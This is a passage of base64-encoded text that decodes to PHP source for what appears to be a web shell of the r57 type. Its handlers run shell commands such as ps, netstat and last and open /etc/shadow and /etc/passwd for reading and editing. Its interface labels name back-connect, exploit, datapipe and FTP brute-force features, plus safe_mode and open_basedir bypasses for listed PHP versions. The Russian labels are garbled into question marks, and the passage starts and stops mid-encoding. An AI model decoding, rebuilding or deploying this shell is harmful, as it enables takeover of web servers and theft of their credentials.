udD48L3RkPjwvdHI+JzsKICAgICAgICB9CiAgICAgIGVjaG8gJHI7CiAgICB9CiAgIGVsc2UKICAgIHsKICAgICAgZWNobyAnPHRyPjx0ZD4nLndzKDMpLic8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4gLS0tIDwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPic7CiAgICB9CiAgIGVjaG8gJzwvdGFibGU+JzsKICAgZWNobyAiPGJyPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0nIi4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iJz5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOwogICBkaWUoKTsKIH0KaWYoaXNzZXQoJF9HRVRbJzQnXSkpCiB7CiAgIGVjaG8gJGhlYWQ7CiAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj5NRU1PUlk8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7CiAgICRtZW1mID0gQGZpbGUoIm1lbWluZm8iKTsKICAgaWYoJG1lbWYpCiAgICB7CiAgICAgICRjID0gc2l6ZW9mKCRtZW1mKTsKICAgICAgZm9yKCRpPTA7JGk8JGM7JGkrKykKICAgICAgICB7CiAgICAgICAgICAkaW5mbyA9IGV4cGxvZGUoIjoiLCRtZW1mWyRpXSk7CiAgICAgICAgICBpZigkaW5mb1sxXT09IiIpeyAkaW5mb1sxXT0iLS0tIjsgfQogICAgICAgICAgJHIgLj0gJzx0cj48dGQ+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy50cmltKCRpbmZvWzBdKS4nPC9iPjwvZm9udD48L3RkPjx0ZD48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogICAgICAgIH0KICAgICAgZWNobyAkcjsKICAgIH0KICAgZWxzZQogICAgewogICAgICBlY2hvICc8dHI+PHRkPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiAtLS0gPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+JzsKICAgIH0KICAgZWNobyAnPC90YWJsZT4nOwogICBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSciLiRfU0VSVkVSWydQSFBfU0VMRiddLiInPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7CiAgIGRpZSgpOwogfQoKaWYoaXNzZXQoJF9HRVRbJzUnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdzeXN0ZW1pbmZvJzt9CmlmKGlzc2V0KCRfR0VUWyc2J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3N5c2xvZy5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWyc3J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3Jlc29sdi5jb25mJzt9CmlmKGlzc2V0KCRfR0VUWyc4J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2hvc3RzJzt9CmlmKGlzc2V0KCRfR0VUWyc5J10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL3NoYWRvdyc7fQppZihpc3NldCgkX0dFVFsnMTAnXSkpCiB7JF9QT1NUWydjbWQnXT0nZWRpdF9maWxlJzskX1BPU1RbJ2VfbmFtZSddID0gJy9ldGMvcGFzc3dkJzt9CmlmKGlzc2V0KCRfR0VUWycxMyddKSkKIHskX1BPU1RbJ2NtZCddPSdjYXQgL3Byb2MvY3B1aW5mbyc7fQppZihpc3NldCgkX0dFVFsnMTQnXSkpCiB7JF9QT1NUWydjbWQnXT0nY2F0IC9wcm9jL3ZlcnNpb24nO30KaWYoaXNzZXQoJF9HRVRbJzE1J10pKQogeyRfUE9TVFsnY21kJ10gPSAnZnJlZSc7fQppZihpc3NldCgkX0dFVFsnMTYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdkbWVzZyg4KSc7fQppZihpc3NldCgkX0dFVFsnMTcnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd2bXN0YXQnO30KaWYoaXNzZXQoJF9HRVRbJzE4J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNwY2knO30KaWYoaXNzZXQoJF9HRVRbJzE5J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNkZXYnO30KaWYoaXNzZXQoJF9HRVRbJzIwJ10pKQogeyRfUE9TVFsnY21kJ109J2NhdCAvcHJvYy9pbnRlcnJ1cHRzJzt9CmlmKGlzc2V0KCRfR0VUWycyMSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2NhdCAvZXRjLypyZWFsaXNlJzt9CmlmKGlzc2V0KCRfR0VUWycyMiddKSkKIHskX1BPU1RbJ2NtZCddPSdlZGl0X2ZpbGUnOyRfUE9TVFsnZV9uYW1lJ10gPSAnL2V0Yy9pc3N1ZS5uZXQnO30KaWYoaXNzZXQoJF9HRVRbJzIzJ10pKQogeyRfUE9TVFsnY21kJ10gPSAnbHNhdHRyIC12YSc7fQppZihpc3NldCgkX0dFVFsnMjQnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd3Jzt9CmlmKGlzc2V0KCRfR0VUWycyNSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3dobyc7fQppZihpc3NldCgkX0dFVFsnMjYnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICd1cHRpbWUnO30KaWYoaXNzZXQoJF9HRVRbJzI3J10pKQogeyRfUE9TVFsnY21kJ10gPSAnbGFzdCAtbiAxMCc7fQppZihpc3NldCgkX0dFVFsnMjgnXSkpCiB7JF9QT1NUWydjbWQnXSA9ICdwcyAtYXV4Jzt9CmlmKGlzc2V0KCRfR0VUWycyOSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ3NlcnZpY2UgLS1zdGF0dXMtYWxsJzt9CmlmKGlzc2V0KCRfR0VUWyczMCddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2lmY29uZmlnJzt9CmlmKGlzc2V0KCRfR0VUWyczMSddKSkKIHskX1BPU1RbJ2NtZCddID0gJ25ldHN0YXQgLWEnO30KaWYoaXNzZXQoJF9HRVRbJzMyJ10pKQogeyRfUE9TVFsnY21kJ109J2VkaXRfZmlsZSc7JF9QT1NUWydlX25hbWUnXSA9ICcvZXRjL2ZzdGFiJzt9CmlmKGlzc2V0KCRfR0VUWyczMyddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2ZkaXNrIC1sJzt9CmlmKGlzc2V0KCRfR0VUWyczNCddKSkKIHskX1BPU1RbJ2NtZCddID0gJ2RmIC1oJzt9CgojaWYoaXNzZXQoJF9HRVRbJyddKSkKIyB7JF9QT1NUWydjbWQnXSA9ICcnO30KCiRsYW5nPWFycmF5KAoncnVfYnV0dDEnID0+Jz8/Pz8/Pz8/PycsCidydV9idXR0MicgPT4nPz8/Pz8/Pz8/JywKJ3J1X2J1dHQzJyA9Pic/Pz8/Pz8/JywKJ3J1X2J1dHQ0JyA9Pic/Pz8/Pz8/Pz8nLAoncnVfYnV0dDUnID0+Jz8/Pz8/Pz8/PycsCidydV9idXR0NicgPT4nPz8/Pz8/PycsCidydV9idXR0NycgPT4nPz8/Pz8/PycsCidydV9idXR0OCcgPT4nPz8/Pz8/Pz8/JywKJ3J1X2J1dHQ5JyA9Pic/Pz8/JywKJ3J1X2J1dHQxMCc9Pic/Pz8/Pz8/Pz8nLAoncnVfYnV0dDExJz0+Jz8/Pz8/Pz8/Pz8/Pz8nLAoncnVfYnV0dDEyJz0+Jz8/Pz8/JywKJ3J1X2J1dHQxMyc9Pic/Pz8/Pz8/Lz8/Pz8/Pz8nLAoncnVfYnV0dDE0Jz0+Jz8/Pz8/Pz8nLAoncnVfYnV0dDE1Jz0+Jz8/Pz8/Pz8/PycsCidydV90ZXh0MScgPT4nPz8/Pz8/Pz8/Pz8gPz8/Pz8/PycsCidydV90ZXh0MicgPT4nPz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8gPz8/Pz8/PycsCidydV90ZXh0MycgPT4nPz8/Pz8/Pz8/ID8/Pz8/Pz8nLAoncnVfdGV4dDQnID0+Jz8/Pz8/Pz8gPz8/Pz8/Pz8/PycsCidydV90ZXh0NScgPT4nPz8/Pz8/Pz8gPz8/Pz8/ID8/ID8/Pz8/PycsCidydV90ZXh0NicgPT4nPz8/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDcnID0+Jz8/Pz8/PycsCidydV90ZXh0OCcgPT4nPz8/Pz8/Pz8gPz8/Pz8nLAoncnVfdGV4dDknID0+Jz8/Pz8/Pz8/ID8/Pz8/ID8gPz8/Pz8/Pz8gPz8/ID8gL2Jpbi9iYXNoJywKJ3J1X3RleHQxMCc9Pic/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDExJz0+Jz8/Pz8/PyA/Pz8gPz8/Pz8/PycsCidydV90ZXh0MTInPT4nYmFjay1jb25uZWN0JywKJ3J1X3RleHQxMyc9PidJUC0/Pz8/PycsCidydV90ZXh0MTQnPT4nPz8/PycsCidydV90ZXh0MTUnPT4nPz8/Pz8/Pz8gPz8/Pz8/ID8gPz8/Pz8/Pz8/PyA/Pz8/Pz8/JywKJ3J1X3RleHQxNic9Pic/Pz8/Pz8/Pz8/Pz8nLAoncnVfdGV4dDE3Jz0+Jz8/Pz8/Pz8/PyA/Pz8/JywKJ3J1X3RleHQxOCc9Pic/Pz8/Pz8/Pz8gPz8/PycsCidydV90ZXh0MTknPT4nRXhwbG9pdHMnLAoncnVfdGV4dDIwJz0+Jz8/Pz8/Pz8/Pz8/PycsCidydV90ZXh0MjEnPT4nPz8/Pz8gPz8/JywKJ3J1X3RleHQyMic9PidkYXRhcGlwZScsCidydV90ZXh0MjMnPT4nPz8/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDI0Jz0+Jz8/Pz8/Pz8/PyA/Pz8/JywKJ3J1X3RleHQyNSc9Pic/Pz8/Pz8/Pz8gPz8/PycsCidydV90ZXh0MjYnPT4nPz8/Pz8/Pz8/Pz8/JywKJ3J1X3RleHQyOCc9Pic/Pz8/Pz8gPyBzYWZlX21vZGUnLAoncnVfdGV4dDI5Jz0+Jz8/Pz8/PyA/Pz8/Pz8/PycsCidydV90ZXh0MzAnPT4nPz8/Pz8/Pz8gPz8/Pz8nLAoncnVfdGV4dDMxJz0+Jz8/Pz8gPz8gPz8/Pz8/JywKJ3J1X3RleHQzMic9Pic/Pz8/Pz8/Pz8/IFBIUCA/Pz8/JywKJ3J1X3RleHQzMyc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyID8/Pz8/ID8/Pz8/Pz8gY1VSTCAoUEhQIDw9IDQuNC4yLCA1LjEuNCknLAoncnVfdGV4dDM0Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBzYWZlX21vZGUgPz8/Pz8gPz8/Pz8/PyBpbmNsdWRlJywKJ3J1X3RleHQzNSc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gc2FmZV9tb2RlID8/Pz8/ID8/Pz8/Pz8/ID8/Pz8/ID8gbXlzcWwnLAoncnVfdGV4dDM2Jz0+Jz8/Pz8gLiA/Pz8/Pz8/JywKJ3J1X3RleHQzNyc9Pic/Pz8/PycsCidydV90ZXh0MzgnPT4nPz8/Pz8/JywKJ3J1X3RleHQzOSc9Pic/Pz8/JywKJ3J1X3RleHQ0MCc9Pic/Pz8/ID8/Pz8/Pz8gPz8/PyA/Pz8/Pz8nLAoncnVfdGV4dDQxJz0+Jz8/Pz8/Pz8/PyA/ID8/Pz8/JywKJ3J1X3RleHQ0Mic9Pic/Pz8/Pz8/Pz8/Pz8/PyA/Pz8/PycsCidydV90ZXh0NDMnPT4nPz8/Pz8/Pz8/Pz8/PyA/Pz8/JywKJ3J1X3RleHQ0NCc9Pic/Pz8/Pz8/Pz8/Pz8/PyA/Pz8/PyA/Pz8/Pz8/Pz8/ISA/Pz8/Pz8gPz8/Pz8/ID8/PyA/Pz8/Pz8hJywKJ3J1X3RleHQ0NSc9Pic/Pz8/ID8/Pz8/Pz8/JywKJ3J1X3RleHQ0Nic9Pic/Pz8/Pz8/PyBwaHBpbmZvKCknLAoncnVfdGV4dDQ3Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/IHBocC5pbmknLAoncnVfdGV4dDQ4Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/Pz8nLAoncnVfdGV4dDQ5Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8gPyA/Pz8/Pz8/JywKJ3J1X3RleHQ1MCc9Pic/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/PycsCidydV90ZXh0NTEnPT4nPz8/Pz8/Pz8/PyA/ID8/Pz8/PycsCidydV90ZXh0NTInPT4nPz8/Pz8gPz8/ID8/Pz8/PycsCidydV90ZXh0NTMnPT4nPz8/Pz8/ID8gPz8/Pz8nLAoncnVfdGV4dDU0Jz0+Jz8/Pz8/ID8/Pz8/PyA/ID8/Pz8/PycsCidydV90ZXh0NTUnPT4nPz8/Pz8/ID8gPz8/Pz8/JywKJ3J1X3RleHQ1Nic9Pic/Pz8/Pz8gPz8gPz8/Pz8/PycsCidydV90ZXh0NTcnPT4nPz8/Pz8/Py8/Pz8/Pz8/ID8/Pz8vPz8/Pz8/Pz8/PycsCidydV90ZXh0NTgnPT4nPz8/JywKJ3J1X3RleHQ1OSc9Pic/Pz8/JywKJ3J1X3RleHQ2MCc9Pic/Pz8/Pz8/Pz8/JywKJ3J1X3RleHQ2MSc9Pic/Pz8/ID8/Pz8/PycsCidydV90ZXh0NjInPT4nPz8/Pz8/Pz8/PyA/Pz8/Pz8/JywKJ3J1X3RleHQ2Myc9Pic/Pz8/ID8/Pz8/PycsCidydV90ZXh0NjQnPT4nPz8/Pz8/Pz8/PyA/Pz8/Pz8/JywKJ3J1X3RleHQ2NSc9Pic/Pz8/Pz8/JywKJ3J1X3RleHQ2Nic9Pic/Pz8/Pz8/JywKJ3J1X3RleHQ2Nyc9PidDaG93bi9DaGdycC9DaG1vZCcsCidydV90ZXh0NjgnPT4nPz8/Pz8/PycsCidydV90ZXh0NjknPT4nPz8/Pz8/Pz8xJywKJ3J1X3RleHQ3MCc9Pic/Pz8/Pz8/PzInLAoncnVfdGV4dDcxJz0+Ij8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/OlxyXG4tID8/PyBDSE9XTiAtID8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/PyA/Pz8gVUlEICg/Pz8/Pz8pIFxyXG4tID8/PyA/Pz8/Pz8/IENIR1JQIC0gPz8/ID8/Pz8/PyA/Pz8gR0lEICg/Pz8/Pz8pIFxyXG4tID8/PyA/Pz8/Pz8/IENITU9EIC0gPz8/Pz8gPz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PyAoPz8/Pz8/Pz8gMDc3NykiLAoncnVfdGV4dDcyJz0+Jz8/Pz8/ID8/PyA/Pz8/Pz8nLAoncnVfdGV4dDczJz0+Jz8/Pz8/PyA/ID8/Pz8/JywKJ3J1X3RleHQ3NCc9Pic/Pz8/Pz8gPyA/Pz8/Pz8nLAoncnVfdGV4dDc1Jz0+JyogPz8/Pz8gPz8/Pz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8gPz8/Pz8/Pz8/JywKJ3J1X3RleHQ3Nic9Pic/Pz8/PyA/Pz8/Pz8gPyA/Pz8/Pz8gPyA/Pz8/Pz8/ID8/Pz8/Pz8gZmluZCcsCidydV90ZXh0ODAnPT4nPz8/JywKJ3J1X3RleHQ4MSc9Pic/Pz8/JywKJ3J1X3RleHQ4Mic9Pic/Pz8/ID8/Pz8/PycsCidydV90ZXh0ODMnPT4nPz8/Pz8/Pz8/PyBTUUwgPz8/Pz8/PycsCidydV90ZXh0ODQnPT4nU1FMID8/Pz8/PycsCidydV90ZXh0ODUnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IHNhZmVfbW9kZSA/Pz8/PyA/Pz8/Pz8/Pz8/ID8/Pz8/PyA/IE1TU1FMID8/Pz8/Pz8nLAoncnVfdGV4dDg2Jz0+Jz8/Pz8/Pz8/Pz8gPz8/Pz8gPyA/Pz8/Pz8/JywKJ3J1X3RleHQ4Nyc9Pic/Pz8/Pz8/Pz8/ID8/Pz8/PyA/ID8/Pz8/Pz8/Pz8gZnRwLT8/Pz8/Pz8nLAoncnVfdGV4dDg4Jz0+Jz8/Pz8/Pzo/Pz8/JywKJ3J1X3RleHQ4OSc9Pic/Pz8/ID8/IGZ0cCA/Pz8/Pz8/JywKJ3J1X3RleHQ5MCc9Pic/Pz8/PyA/Pz8/Pz8/PycsCidydV90ZXh0OTEnPT4nPz8/Pz8/Pz8/Pz8/ID8nLAoncnVfdGV4dDkyJz0+Jz8/PyA/Pz8/Py4nLAoncnVfdGV4dDkzJz0+J0ZUUCcsCidydV90ZXh0OTQnPT4nRlRQLT8/Pz8/Pz8/JywKJ3J1X3RleHQ5NSc9Pic/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PycsCidydV90ZXh0OTYnPT4nPz8gPz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8/PycsCidydV90ZXh0OTcnPT4nPz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz86ICcsCidydV90ZXh0OTgnPT4nPz8/Pz8/PyA/Pz8/Pz8/Pz8/PzogJywKJ3J1X3RleHQ5OSc9PicvZXRjL3Bhc3N3ZCcsCidydV90ZXh0MTAwJz0+Jz8/Pz8/Pz8/ID8/Pz8/PyA/PyA/Pz8/Pz8/Pz8gPz8/ID8/Pz8/PycsCidydV90ZXh0MTAxJz0+Jz8/Pz8/Pz8/Pz8/PyAodXNlciAtPiByZXN1KScsCidydV90ZXh0MTAyJz0+Jz8/Pz8/JywKJ3J1X3RleHQxMDMnPT4nPz8/Pz8/Pz8gPz8/Pz8/JywKJ3J1X3RleHQxMDQnPT4nPz8/Pz8/Pz8gPz8/Pz8gPz8gPz8/Pz8/Pz8gPz8/PycsCidydV90ZXh0MTA1Jz0+Jz8/Pz8nLAoncnVfdGV4dDEwNic9Pic/PycsCidydV90ZXh0MTA3Jz0+Jz8/Pz8nLAoncnVfdGV4dDEwOCc9Pic/Pz8/PyA/Pz8/Pz8nLAoncnVfdGV4dDEwOSc9Pic/Pz8/Pz8/PycsCidydV90ZXh0MTEwJz0+Jz8/Pz8/Pz8/Pz8nLAoncnVfdGV4dDExMSc9PidTUUwtPz8/Pz8/IDogPz8/PycsCidydV90ZXh0MTEyJz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBzYWZlX21vZGUgPz8/Pz8gPz8/Pz8/Pz8/Pz8/PyA/Pz8/Pz8/IG1iX3NlbmRfbWFpbCgpIChQSFAgPD0gNC4wLTQuMi4yLCA1LngpJywKJ3J1X3RleHQxMTMnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IHNhZmVfbW9kZSwgPz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/ID8/Pz8/Pz8/Pz8/Pz8/IGltYXBfbGlzdCgpIChQSFAgPD0gNS4xLjIpJywKJ3J1X3RleHQxMTQnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IHNhZmVfbW9kZSwgPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/PyBpbWFwX2JvZHkoKSAoUEhQIDw9IDUuMS4yKScsCidydV90ZXh0MTE1Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBzYWZlX21vZGUsID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/IFtjb21wcmVzcy56bGliOi8vXSAoUEhQIDw9IDQuNC4yLCA1LjEuMiknLAoncnVfdGV4dDExNic9Pic/Pz8/Pz8/Pz8/ID8/Pz8nLAoncnVfdGV4dDExNyc9Pic/JywKJ3J1X3RleHQxMTgnPT4nPz8/PyA/Pz8/Pz8/Pz8/JywKJ3J1X3RleHQxMTknPT4nPz8gPz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/JywKJ3J1X3RleHQxMjAnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IHNhZmVfbW9kZSwgPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/PyBpbmlfcmVzdG9yZSgpIChQSFAgPD0gNC40LjQsIDUuMS42KSBieSBOU1QnLAoncnVfdGV4dDEyMSc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/Pz8/Pz8gZm9wZW4oKSAoUEhQIHY0LjQuMCBtZW1vcnkgbGVhaykgYnkgTlNUJywKJ3J1X3RleHQxMjInPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IG9wZW5fYmFzZWRpciwgPz8/Pz8/Pz8gPz8/Pz8/Pz8gPz8/Pz8/Pz8/PyA/ID8/Pz8/Pz8/Pz8/Pz8/IGdsb2IoKSAoUEhQIDw9IDUuMi54KScsCidydV90ZXh0MTIzJz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBvcGVuX2Jhc2VkaXIsID8/Pz8/PyAqLmJ6aXAgPz8/Pz8/IFtjb21wcmVzcy5iemlwMjovL10gKFBIUCA8PSA1LjIuMSknLAoncnVfdGV4dDEyNCc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8/PyA/Pz8/Pz8gPyBlcnJvcl9sb2cocGhwOi8vKSAoUEhQIDw9IDUuMS40LCA0LjQuMiknLAoncnVfdGV4dDEyNSc9Pic/Pz8/Pz8nLAoncnVfdGV4dDEyNic9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8/PyA/Pz8/PyA/Pz8/Pz8gPyA/Pz8/Pz8/W05VTEwtYnl0ZV0gKFBIUCA8PSA1LjIuMCknLAoncnVfdGV4dDEyNyc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8/PyA/Pz8/Pz8gPyByZWFkZmlsZShwaHA6Ly8pIChQSFAgPD0gNS4yLjEsIDQuNC40KScsCidydV90ZXh0MTI4Jz0+Jz8/Pz8gPz8/Pz8/Pz8/Lz8/Pz8/Pz8gPz8/Pz8gKHRvdWNoKScsCidydV90ZXh0MTI5Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBvcGVuX2Jhc2VkaXIsID8/Pz8/Pz8/ID8/Pz8/ID8gZm9wZW4oc3JwYXRoOi8vKSAoUEhQIHY1LjIuMCknLAoncnVfdGV4dDEzMCc9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8gKi56aXAgPz8/Pz8/IFt6aXA6Ly9dIChQSFAgPD0gNS4yLjEpJywKJ3J1X3RleHQxMzEnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IG9wZW5fYmFzZWRpciwgPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/PyBzeW1saW5rKCkgKFBIUCA8PSA1LjIuMSknLAoncnVfdGV4dDEzMic9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gb3Blbl9iYXNlZGlyLCA/Pz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8gPz8/Pz8/Pz8/Pz8/Pz8gc3ltbGluaygpIChQSFAgPD0gNS4yLjEpJywKJ3J1X3RleHQxMzMnPT4nPz8/Pz8/Pz8gPz8/Pz8/Pz8/Pz8gPz8/Pz8/ID8/Pz8/Pz8/Pz8/IG9wZW5fYmFzZWRpciwgPz8/Pz8/Pz8gPz8/Pz8gPz8/Pz8/ID8gPz8/Pz8/PyhUTVBESVIpIChQSFAgPD0gNS4yLjQpJywKJ3J1X3RleHQxMzQnPT4nPz8/Pz8/Pz8gPz8/ID8/Pz8/PycsCidydV90ZXh0MTM1Jz0+Jz8/Pz8/Pz8nLAoncnVfdGV4dDEzNic9Pic/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8/Pz8/PycsCidydV90ZXh0MTM3Jz0+Jz8/Pz8/Pz8/JywKJ3J1X3RleHQxMzgnPT4nPz8/Pz8/PycsCidydV90ZXh0MTM5Jz0+Jz8/Pz8tPz8/Pz8/JywKJ3J1X3RleHQxNDAnPT4nRG9TJywKJ3J1X3RleHQxNDEnPT4nPz8/Pz8/Pz8/ISA/Pz8/Pz8/PyA/Pz8/ID8/Py0/Pz8/Pz8/LicsCidydV90ZXh0MTQyJz0+Jz8/Pz8/Pz8/PyA/Pz8/Pz8/JywKJ3J1X3RleHQxNDMnPT4nVGVtcDogJywKJ3J1X3RleHQxNDQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggbG9hZCBmaWxlIGluIG15c3FsaScsCidydV90ZXh0MTQ1Jz0+Jz8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8/ID8/Pz8/PyA/Pz8/Pz8/Pz8/PyBvcGVuX2Jhc2VkaXIsID8/Pz8/Pz8/ID8/Pz8/Pz8/ID8/Pz8/Pz8/Pz8gPyA/Pz8/Pz8/Pz8/Pz8/PyByZWFscGF0aCgpIChQSFAgPD0gNS4yLjQpJywKJ3J1X3RleHQxNDYnPT4nTUFYID8/Py0/PyA/Pz8/Pz8/PycsCidydV90ZXh0MTQ3Jz0+JycsCidydV90ZXh0MTQ4Jz0+JycsCidydV90ZXh0MTQ5Jz0+JycsCidydV90ZXh0MTUwJz0+JycsCidydV9lcnIwJz0+Jz8/Pz8/PyEgPz8gPz8/PyA/Pz8/Pz8/PyA/ID8/Pz8gJywKJ3J1X2VycjEnPT4nPz8/Pz8/ISA/PyA/Pz8/ID8/Pz8/Pz8/PyA/Pz8/ICcsCidydV9lcnIyJz0+Jz8/Pz8/PyEgPz8gPz8/Pz8/PyA/Pz8/Pz8/ICcsCidydV9lcnIzJz0+Jz8/Pz8/PyEgPz8gPz8/Pz8/PyA/Pz8/Pz8/Pz8/Pz8gPyBmdHAgPz8/Pz8/PycsCidydV9lcnI0Jz0+Jz8/Pz8/PyA/Pz8/Pz8/Pz8/PyA/PyBmdHAgPz8/Pz8/PycsCidydV9lcnI1Jz0+Jz8/Pz8/PyEgPz8gPz8/Pz8/PyA/Pz8/Pz8/PyA/Pz8/Pz8/Pz8/ID8/IGZ0cCA/Pz8/Pz8/JywKJ3J1X2VycjYnPT4nPz8/Pz8/ISA/PyA/Pz8/Pz8/ID8/Pz8/Pz8/PyA/Pz8/Pz8nLAoncnVfZXJyNyc9Pic/Pz8/Pz8gPz8/Pz8/Pz8/PycsCi8qIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqLwonZW5nX2J1dHQxJyA9PidFeGVjdXRlJywKJ2VuZ19idXR0MicgPT4nVXBsb2FkJywKJ